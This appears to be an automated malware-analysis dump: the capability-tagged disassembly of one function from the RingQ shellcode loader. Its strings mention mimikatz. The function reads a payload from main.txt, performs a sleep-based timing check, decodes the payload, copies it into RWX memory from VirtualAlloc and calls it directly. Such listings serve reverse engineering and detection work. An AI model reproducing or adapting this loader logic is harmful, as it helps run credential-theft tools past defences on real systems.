Function at 0x140001fa0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0xf8]
sub rsp, 0x1e0
movaps xmmword [rax - 0x28], xmm6
xor edi, edi
lea rdx, str._______________RingQ_:_
call fcn.140004750
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140004430
movzx edx, al
mov rcx, rbx
call fcn.140005510
mov rcx, rbx
call fcn.1400053e0
lea rdx, str.Github:_https:__github.com_T4y1oR_RingQ
call fcn.140004750
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140004430
movzx edx, al
mov rcx, rbx
call fcn.140005510
mov rcx, rbx
call fcn.1400053e0
lea rdx, str.1._Create.exe_mimikatz.exe
call fcn.140004750
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140004430
movzx edx, al
mov rcx, rbx
call fcn.140005510
mov rcx, rbx
call fcn.1400053e0
lea rdx, str.2._RingQ.exe
call fcn.140004750
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140004430
movzx edx, al
mov rcx, rbx
call fcn.140005510
mov rcx, rbx
call fcn.1400053e0
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov rcx, rax
call qword [sym.imp.msvcrt.dll_srand]
mov ebx, edi
call qword [sym.imp.msvcrt.dll_rand]
inc rbx
cmp rbx, 0x3e8
jl 0x1400020a7
mov rax, qword [0x140014860]
movsxd rcx, dword [rax + 4]
lea rbx, [0x140014860]
add rcx, rbx
mov dl, 0xa
call fcn.140004430
movzx edx, al
mov rcx, rbx
call fcn.140005510
mov rcx, rbx
call fcn.1400053e0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], 8
mov qword [rbp - 0x48], 0xf
movabs rax, 0x7478742e6e69616d
mov qword [rbp - 0x60], rax
mov byte [rbp - 0x58], dil
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x40]
call fcn.140003d30
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], r15
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x44], edx
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x30], 6
je 0x140002190
lea rdx, str.ReadFile_Error_
call fcn.140004750
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140004430
movzx edx, al
mov rcx, rbx
call fcn.140005510
mov rcx, rbx
call fcn.1400053e0
mov edi, 1
jmp 0x14000261c
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x38], 1
mov rcx, qword [rbp + rcx + 8]
mov qword [rsp + 0x50], rcx
test rcx, rcx
sete byte [rsp + 0x58]
mov byte [rsp + 0x59], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm6, xmmword [rsp + 0x30]
test rcx, rcx
je 0x140002224
mov rax, qword [rcx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400021f0
mov rax, qword [rcx + 0x50]
cmp dword [rax], 0
jle 0x1400021f0
movzx eax, byte [rdx]
jmp 0x1400021f6
mov rax, qword [rcx]
call qword [rax + 0x30]
cmp eax, 0xffffffff
je 0x140002210
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x50]
mov byte [rsp + 0x58], 1
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x140002229
mov rax, rdi
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x58], 1
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x140002229
movq rax, xmm0
test rax, rax
movq rax, xmm6
jne 0x1400022a9
test rax, rax
je 0x1400022ae
movdqa xmmword [rsp + 0x30], xmm6
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.140005870
nop
lea rcx, [rbp - 0x30]
call fcn.140003be0
test rax, rax
jne 0x1400022c1
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx + 8], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x30]
and eax, 0x17
mov dword [rbp + rcx - 0x30], eax
mov edx, dword [rbp + rcx - 0x2c]
and edx, eax
je 0x1400022c1
test dl, 4
je 0x1400026dd
lea rbx, str.ios_base::badbit_set
jmp 0x1400026f2
test rax, rax
je 0x140002238
movdqa xmm0, xmmword [0x14000fd30]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
jmp 0x140002258
call fcn.140005d00
mov rbx, rax
call fcn.140005ce4
mov rcx, rax
movabs r14, 0xb2f4fc0794908cf3
cmp rbx, 0x989680
jne 0x1400022ea
imul rbx, rcx, 0x64
jmp 0x14000235a
cmp rbx, 0x16e3600
jne 0x14000233e
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rbx, rdx
shr rbx, 0x3f
add rbx, rdx
add rbx, r8
jmp 0x14000235a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
mov qword [rbp + 0x100], 0x1388
lea rcx, [rbp + 0x100]
call fcn.140004a30
call fcn.140005d00
mov rsi, rax
call fcn.140005ce4
mov rcx, rax
cmp rsi, 0x989680
jne 0x140002390
imul rcx, rcx, 0x64
jmp 0x1400023ff
cmp rsi, 0x16e3600
jne 0x1400023e4
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
add rcx, r8
jmp 0x1400023ff
cqo
idiv rsi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rsi
add rcx, rax
sub rcx, rbx
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov ecx, 0x7f149
sub ecx, edx
call fcn.140001eb0
mov edx, eax
lea rcx, [rsp + 0x50]
call fcn.140004590
nop
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x30]
call fcn.140001dd0
nop
lea rsi, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rsi, qword [rsp + 0x30]
mov r14, qword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140002520
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400024c0
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002723
call fcn.1400070e8
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140002510
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000250b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002729
call fcn.1400070e8
mov edi, 1
jmp 0x1400025d0
mov r8, r14
mov rdx, rsi
mov rcx, rbx
call sub.msvcrt.dll_memcpy
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000257f
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000257a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002723
call fcn.1400070e8
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400025d0
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002729
call fcn.1400070e8
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000260b
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002606
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000272f
call fcn.1400070e8
movdqa xmm0, xmmword [0x14000fd30]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x40], r15
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x44], edx
lea rcx, [rbp - 0x30]
call fcn.140003410
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x44], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x70], rax
lea rcx, [rbp + 0x70]
call fcn.140006760
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400026b3
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026d7
call fcn.1400070e8
mov eax, edi
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14000b3d0
nop
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.1400013c0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001c70
lea rdx, [0x140012bd8]
lea rcx, [rsp + 0x50]
call sub.msvcrt.dll__CxxThrowException
nop
call fcn.14000b3d0
nop
call fcn.14000b3d0
nop
call fcn.14000b3d0
int3